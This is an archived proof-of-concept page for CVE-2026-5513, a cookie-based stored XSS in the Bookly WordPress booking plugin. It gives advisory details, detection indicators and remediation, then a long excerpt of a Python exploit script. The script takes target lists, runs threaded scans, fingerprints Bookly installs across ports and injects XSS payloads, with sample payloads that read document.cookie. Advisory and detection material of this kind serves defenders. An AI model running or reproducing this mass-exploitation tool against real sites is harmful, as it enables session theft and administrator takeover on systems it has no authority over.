PoC Archive PoC Archive
High CVE-2026-5513 patched

Bookly Booking Form Cookie-Based Stored XSS — CVE-2026-5513

by Not disclosed (repo owner: github.com/87achrafg-stack) · 2026-07-05

CVSS 7.2/10
Severity
High
CVE
CVE-2026-5513
Category
web
Affected product
Bookly — Online Scheduling and Appointment Booking System (WordPress plugin)
Affected versions
<= 27.2 (fixed in 27.3+)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last UpdatedUnknown
Author / ResearcherNot disclosed (repo owner: github.com/87achrafg-stack)
CVE / AdvisoryCVE-2026-5513
Categoryweb
SeverityHigh
CVSS Score7.2 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)
StatusPoC
Tagswordpress, bookly, stored-xss, cwe-79, cookie-injection, appointment-booking
RelatedN/A

Affected Target

FieldValue
Software / SystemBookly — Online Scheduling and Appointment Booking System (WordPress plugin)
Versions Affected<= 27.2 (fixed in 27.3+)
Language / PlatformPHP / WordPress plugin; PoC written in Python 3
Authentication RequiredNo
Network Access RequiredYes; requires the site’s “Remember personal information in cookies” Bookly setting to be enabled (disabled by default)

Summary

Bookly reads the bookly-customer-full-name cookie value and renders it directly into the booking form’s HTML value attribute without sanitizing or escaping it, when the plugin’s “Remember personal information in cookies” option is enabled. An unauthenticated attacker can set this cookie in a victim’s browser (or on their own browser before sharing a crafted link/page) to a value containing an XSS payload, which then executes for any visitor — including administrators — who loads a page containing the Bookly booking form. The PoC script probes a target for the vulnerable configuration and can optionally inject and verify a test XSS payload.


Vulnerability Details

Root Cause

1
2
3
// VULNERABLE — Bookly <= 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];             // No sanitization
echo '<input type="text" value="' . $full_name . '" />';        // No escaping

The plugin trusts the bookly-customer-full-name cookie as-is and echoes it unescaped into an HTML attribute (CWE-79).

Attack Vector

  1. Attacker sets the bookly-customer-full-name cookie (via a same-site JavaScript injection point, phishing page, or shared browser) to a value containing an HTML/JS payload, e.g. <script>...</script> or an attribute-breakout payload.
  2. Victim (or the attacker) visits a page on the target site containing the Bookly booking form.
  3. Bookly renders the cookie value directly into the form’s HTML without escaping.
  4. The injected payload executes in the visiting browser’s context, including an administrator’s, if they browse a page with the booking form.

Impact

Persistent/stored cross-site scripting affecting any visitor to a page with the Bookly booking form while the malicious cookie is set in their browser — can lead to session/cookie theft, admin account takeover (if triggered in an admin’s browser), or further client-side attacks.


Environment / Lab Setup

Target:   WordPress site running Bookly <= 27.2 with "Remember personal information in cookies" enabled in Bookly Settings → General
Attacker: Python 3, `pip install requests colorama`

Proof of Concept

PoC Script

See cve-2026-5513.py in this folder.

1
2
3
4
5
6
7
python cve-2026-5513.py -u https://target.com -v

python cve-2026-5513.py -u https://target.com --inject -v

python cve-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

python cve-2026-5513.py -l targets.txt -t 20 -o vuln.txt

The script probes a target (resolving bare IPs/domains and following redirects), detects WordPress and the Bookly plugin plus version, checks whether the “remember cookie” setting is active (via JS analysis and a reflection canary), then optionally injects and verifies an XSS payload through the bookly-customer-full-name cookie across HTML/JS/attribute contexts.


Detection & IOCs

Signs of compromise:

  • Requests carrying a bookly-customer-full-name cookie value containing <script>, onerror=, onload=, or similar payload markers
  • Unexpected JavaScript execution or DOM modification on pages containing the Bookly booking form
  • Reports of unexpected popups/redirects/cookie exfiltration from users on booking pages

Remediation

ActionDetail
Primary fixUpdate Bookly to version 27.3+
Interim mitigationDisable “Remember personal information in cookies” in Bookly Settings → General; deploy WAF rules filtering XSS patterns in cookie values; add a Content-Security-Policy header

References


Notes

Mirrored from https://github.com/87achrafg-stack/CVE-2026-5513 on 2026-07-05. The upstream repo’s README and script are watermarked throughout with promotional links to a “FreeToolsCpa” Telegram channel; those promotional strings were left out of this write-up but the underlying vulnerability description and PoC logic are unchanged from the source. The original script filename contained a stray “(3)” copy suffix and was renamed to cve-2026-5513.py for this archive; its content is otherwise unmodified.

cve-2026-5513.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
 CVE-2026-5513 — Bookly <= 27.2 Stored XSS via Cookie
 =====================================================
 Plugin   : Online Scheduling and Appointment Booking System – Bookly
 Versi    : <= 27.2
 CVSS     : 7.2 (High)
 Patch    : 27.3+
 Vector   : bookly-customer-full-name cookie (Stored XSS)
 Prereq   : "Remember personal information in cookies" harus enabled https://t.me/FreeToolsCpa

 Penggunaan:
     # Single target — check only
     python CVE-2026-5513.py -u http://target.com

     # Single target — inject XSS payload
     python CVE-2026-5513.py -u http://target.com --inject

     # Multi target dari file + threading
     python CVE-2026-5513.py -l list.txt -t 20

     # Custom payload
     python CVE-2026-5513.py -u http://target.com --inject --payload "<img src=x onerror=alert(1)>"

     # Simpan hasil ke file
     python CVE-2026-5513.py -l list.txt -t 10 -o hasil.txt

 DISCLAIMER:
     https://t.me/FreeToolsCpa
"""

import argparse
import os
import queue
import re
import sys
import threading
import time
from datetime import datetime
from urllib.parse import urlparse, quote

# ─────────── Dependency Check & Auto-Install ───────────
def _ensure_deps():
    missing = []
    try:
        import requests  # noqa: F401
    except ImportError:
        missing.append("requests")
    try:
        from colorama import Fore  # noqa: F401
    except ImportError:
        missing.append("colorama")
    if missing:
        print(f"[*] Installing missing modules: {', '.join(missing)} ...")
        import subprocess
        subprocess.check_call(
            [sys.executable, "-m", "pip", "install"] + missing + ["-q"]
        )

_ensure_deps()

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

from colorama import Fore, Style, init as colorama_init
colorama_init(autoreset=True)


# ─────────── Color Aliases ───────────
R  = Fore.RED
G  = Fore.GREEN
Y  = Fore.YELLOW
B  = Fore.BLUE
C  = Fore.CYAN
M  = Fore.MAGENTA
W  = Fore.WHITE
BD = Style.BRIGHT
DM = Style.DIM
RS = Style.RESET_ALL

# ─────────── Global State ───────────
print_lock   = threading.Lock()
results_lock = threading.Lock()
stats = {"total": 0, "done": 0, "vuln": 0, "safe": 0, "error": 0, "injected": 0}
vuln_list    = []

# ─────────── Constants ───────────
TIMEOUT = 15
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
      "AppleWebKit/537.36 (KHTML, like Gecko) "
      "Chrome/120.0.0.0 Safari/537.36")

COOKIE_NAME = "bookly-customer-full-name"

DEFAULT_PAYLOAD = '<img src=x onerror=alert(document.domain)>'

# XSS canary — unique string to detect reflection
CANARY = "bkly5513xss"
CANARY_PAYLOAD = f'"{CANARY}<svg/onload=alert(1)>'

# Pages yang biasa ada Bookly booking form
BOOKLY_PATHS = [
    "/", "/booking/", "/book/", "/book-appointment/",
    "/appointment/", "/appointments/", "/schedule/",
    "/reservasi/", "/jadwal/", "/pesan/",
    "/make-appointment/", "/book-now/", "/reserve/",
    "/consultation/", "/contact/", "/services/",
]

# WordPress subdirectory paths (untuk bare IP)
WP_SUBDIRS = [
    "/", "/wp/", "/blog/", "/wordpress/", "/site/",
    "/cms/", "/web/", "/home/",
]

# Common ports untuk probe bare IP
COMMON_PORTS = [443, 80, 8443, 8080]


# ─────────── Helpers ───────────

def banner():
    print(f"""{C}{BD}
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝{RS}
{Y}{BD}                                          CVE-2026-5513{RS}
{W}  Bookly <= 27.2 — Stored XSS via Cookie (Unauthenticated)
  Vector  : bookly-customer-full-name cookie https://t.me/FreeToolsCpa
  CVSS    : {R}{BD}7.2 High{RS}{W} | CWE-79 | Prereq: cookie setting ON{RS}
""")


def cprint(color, prefix, msg, target=""):
    tag = f"{color}{BD}{prefix}{RS}"
    tgt = f" {DM}[{target}]{RS}" if target else ""
    with print_lock:
        print(f"{tag}{tgt} {msg}")


def log_info(msg, t=""):    cprint(B,  "[*]", msg, t)
def log_ok(msg, t=""):      cprint(G,  "[+]", msg, t)
def log_warn(msg, t=""):    cprint(Y,  "[!]", msg, t)
def log_error(msg, t=""):   cprint(R,  "[-]", msg, t)
def log_vuln(msg, t=""):    cprint(M,  "[✓]", msg, t)
def log_step(msg, t=""):    cprint(C,  "[»]", msg, t)


def is_ip_address(host):
    """Check apakah host adalah IP address (v4)."""
    return bool(re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', host))


def normalize_url(url):
    """Normalize URL — handle bare IP, domain, port, scheme."""
    url = url.strip()
    if not url:
        return None
    # strip trailing slashes, whitespace
    url = url.strip('/')
    # jika sudah ada scheme, return as-is
    if url.startswith(('http://', 'https://')):
        return url.rstrip('/')
    # bare IP atau domain tanpa scheme — simpan dulu, probe nanti
    # default ke http:// untuk IP, https:// untuk domain
    host = url.split('/')[0].split(':')[0]
    if is_ip_address(host):
        # bare IP → jangan tambah scheme dulu, biar probe_target yg handle
        return f'http://{url}'
    else:
        return f'https://{url}'.rstrip('/')


def probe_target(raw_input, session, verbose=False):
    """
    Probe bare IP / domain untuk menemukan base URL yang valid.
    - Detect redirect (IP → domain)
    - Cek Bookly readme.txt sebagai fast check
    - Return: dict with base_url, is_wordpress, redirected, redirect_domain, bookly_version
    """
    short = raw_input.strip()[:45]
    raw = raw_input.strip().strip('/')

    result = {
        "base_url": None,
        "is_wordpress": False,
        "redirected": False,
        "redirect_domain": None,
        "bookly_version": None,
        "connected": False,
    }

    # extract host dan optional port
    if raw.startswith(('http://', 'https://')):
        parsed = urlparse(raw)
        host = parsed.hostname
        port = parsed.port
        schemes_ports = [(parsed.scheme, port or (443 if parsed.scheme == 'https' else 80))]
    else:
        host = raw.split('/')[0].split(':')[0]
        port_match = re.search(r':([0-9]+)', raw.split('/')[0])
        if port_match:
            port = int(port_match.group(1))
            schemes_ports = [('https', port), ('http', port)]
        else:
            port = None
            if is_ip_address(host):
                schemes_ports = []
                for p in COMMON_PORTS:
                    if p in (443, 8443):
                        schemes_ports.append(('https', p))
                    else:
                        schemes_ports.append(('http', p))
            else:
                schemes_ports = [('https', 443), ('http', 80)]

    for scheme, p in schemes_ports:
        if (scheme == 'https' and p == 443) or (scheme == 'http' and p == 80):
            base = f"{scheme}://{host}"
        else:
            base = f"{scheme}://{host}:{p}"

        try:
            # ── Step A: Hit root, follow redirects ──
            r = session.get(base + '/', timeout=10, allow_redirects=True)
            if r.status_code >= 500:
                continue

            result["connected"] = True
            final_url = r.url.rstrip('/')

            # ── Step B: Detect redirect ke domain lain ──
            final_parsed = urlparse(final_url)
            final_host = final_parsed.hostname or ''
            original_is_ip = is_ip_address(host)

            if original_is_ip and final_host and not is_ip_address(final_host):
                # IP redirect ke domain!
                result["redirected"] = True
                result["redirect_domain"] = final_url.rstrip('/')
                redirected_base = f"{final_parsed.scheme}://{final_host}"
                if verbose:
                    log_ok(f"IP {host} → redirect ke {redirected_base}", short)

                # Pakai domain hasil redirect sebagai base
                base = redirected_base

            elif original_is_ip and final_host and final_host != host:
                # redirect ke IP lain
                result["redirected"] = True
                result["redirect_domain"] = final_url.rstrip('/')
                base = final_url.rstrip('/')

            # ── Step C: Cek apakah WordPress ──
            body_lower = r.text.lower()
            is_wp = any(ind in body_lower for ind in [
                'wp-content', 'wp-includes', 'wordpress', 'wp-json',
                'wp-login', '/xmlrpc.php'
            ])

            if not is_wp:
                # fallback: cek wp-login.php
                try:
                    r_login = session.get(f"{base}/wp-login.php", timeout=8)
                    if r_login.status_code == 200 and 'wp-login' in r_login.text.lower():
                        is_wp = True
                except Exception:
                    pass

            if is_wp:
                result["base_url"] = base
                result["is_wordpress"] = True
                if verbose:
                    log_ok(f"WordPress confirmed → {base}", short)
            else:
                result["base_url"] = base
                # belum tentu WP, tapi masih connected

            # ── Step D: Fast check Bookly readme.txt ──
            readme_paths = [
                "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt",
                "/wp-content/plugins/bookly/readme.txt",
            ]
            for rp in readme_paths:
                try:
                    r_readme = session.get(f"{base}{rp}", timeout=8)
                    if r_readme.status_code == 200 and 'bookly' in r_readme.text.lower():
                        result["is_wordpress"] = True
                        vm = re.search(r'Stable tag:\s*([0-9.]+)', r_readme.text, re.I)
                        if vm:
                            result["bookly_version"] = vm.group(1)
                        if verbose:
                            log_ok(f"Bookly readme.txt found! v{result['bookly_version']}", short)
                        break
                except Exception:
                    continue

            # kalau sudah dapat WP atau Bookly, return
            if result["is_wordpress"]:
                return result

            # ── Step E: Untuk bare IP tanpa WP di root, coba subdirectories ──
            if original_is_ip and not result["is_wordpress"]:
                for subdir in WP_SUBDIRS:
                    if subdir == '/':
                        continue
                    try:
                        r_sub = session.get(f"{base}{subdir}", timeout=8, allow_redirects=True)
                        if r_sub.status_code < 500:
                            sub_body = r_sub.text.lower()
                            sub_wp = any(ind in sub_body for ind in [
                                'wp-content', 'wp-includes', 'wordpress', 'wp-json'
                            ])
                            if sub_wp:
                                result["base_url"] = base + subdir.rstrip('/')
                                result["is_wordpress"] = True
                                if verbose:
                                    log_ok(f"WordPress found in subdir → {result['base_url']}", short)
                                return result
                    except Exception:
                        continue

            # connected tapi belum tentu WP
            if result["connected"]:
                return result

        except Exception:
            continue

    return result


def load_targets(filepath):
    if not os.path.isfile(filepath):
        log_error(f"File tidak ditemukan: {filepath}")
        sys.exit(1)
    targets = []
    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            raw = line.strip()
            if raw and not raw.startswith('#'):
                targets.append(raw)
    if not targets:
        log_error(f"Tidak ada target valid di {filepath}")
        sys.exit(1)
    return targets


def make_session(proxy=None):
    s = requests.Session()
    s.headers.update({'User-Agent': UA})
    s.verify = False
    if proxy:
        s.proxies = {'http': proxy, 'https': proxy}
    return s


def print_progress():
    done  = stats["done"]
    total = stats["total"]
    pct   = int((done / total) * 40) if total else 0
    bar   = f"{G}{'█' * pct}{DM}{'░' * (40 - pct)}{RS}"
    line  = (f"\r  {bar} {BD}{done}/{total}{RS}"
             f"  {G}{BD}Vuln:{stats['vuln']}{RS}"
             f"  {R}Safe:{stats['safe']}{RS}"
             f"  {Y}Err:{stats['error']}{RS}"
             f"  {M}Injected:{stats['injected']}{RS}   ")
    with print_lock:
        sys.stdout.write(line)
        sys.stdout.flush()


# ─────────── Step 1: Detect Bookly Plugin ───────────

def detect_bookly(session, base_url, short, verbose=False):
    """
    Detect Bookly plugin and extract version.
    Returns: dict with detected, version, booking_pages
    """
    info = {
        "detected": False,
        "version": None,
        "booking_pages": [],
        "cookie_setting": None,  # unknown until we test
    }

    # Method 1: Check readme.txt for version
    readme_paths = [
        "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt",
        "/wp-content/plugins/bookly/readme.txt",
    ]

    for rp in readme_paths:
        try:
            r = session.get(f"{base_url}{rp}", timeout=TIMEOUT)
            if r.status_code == 200 and "bookly" in r.text.lower():
                info["detected"] = True
                vm = re.search(r'Stable tag:\s*([0-9.]+)', r.text, re.IGNORECASE)
                if vm:
                    info["version"] = vm.group(1)
                if verbose:
                    log_ok(f"readme.txt found → v{info['version']}", short)
                break
        except Exception:
            continue

    # Method 2: Check plugin directory (403 = exists)
    if not info["detected"]:
        plugin_dirs = [
            "/wp-content/plugins/bookly-responsive-appointment-booking-tool/",
            "/wp-content/plugins/bookly/",
        ]
        for pd in plugin_dirs:
            try:
                r = session.get(f"{base_url}{pd}", timeout=TIMEOUT)
                if r.status_code in [200, 403]:
                    info["detected"] = True
                    if verbose:
                        log_ok(f"Plugin directory found ({r.status_code})", short)
                    break
            except Exception:
                continue

    # Method 3: Check for Bookly assets in common pages
    if not info["detected"]:
        try:
            r = session.get(base_url, timeout=TIMEOUT)
            if r.status_code == 200:
                body = r.text
                if any(ind in body for ind in [
                    'bookly-responsive-appointment-booking-tool',
                    'bookly-booking-form',
                    'bookly-form',
                    'var BooklyL10n',
                    'bookly-js',
                ]):
                    info["detected"] = True
                    if verbose:
                        log_ok("Bookly detected via homepage assets", short)
        except Exception:
            pass

    # Method 4: Detect via CSS/JS version
    if info["detected"] and not info["version"]:
        try:
            r = session.get(base_url, timeout=TIMEOUT)
            vm = re.search(
                r'bookly-responsive-appointment-booking-tool[^"\']*\?ver=([0-9.]+)',
                r.text
            )
            if vm:
                info["version"] = vm.group(1)
        except Exception:
            pass

    # Find pages with Bookly booking forms
    for path in BOOKLY_PATHS:
        try:
            r = session.get(f"{base_url}{path}", timeout=TIMEOUT, allow_redirects=True)
            if r.status_code == 200:
                body = r.text
                bookly_indicators = [
                    'bookly-form',
                    'bookly-booking',
                    'BooklyL10n',
                    'bookly_appointment',
                    'data-bookly',
                    'bookly-js',
                    'class="bookly',
                    'id="bookly',
                ]
                if any(ind in body for ind in bookly_indicators):
                    info["booking_pages"].append(path)
                    info["detected"] = True
                    if verbose:
                        log_info(f"Booking form found at {path}", short)
        except Exception:
            continue

    return info


# ─────────── Step 2: Check Cookie Setting + Reflection ───────────

def check_cookie_setting(session, base_url, booking_pages, short, verbose=False):
    """
    Check if "Remember personal information in cookies" is enabled.

    Bookly passes this setting via wp_localize_script into BooklyL10n JS object.
    When enabled, the frontend JS reads/writes bookly-customer-* cookies and
    the values get rendered into the booking form <input> fields.

    Detection methods:
    1. Parse BooklyL10n JS object for cookie/remember flags
    2. Check Bookly frontend JS files for cookie read patterns
Showing 500 of 1336 lines View full file on GitHub →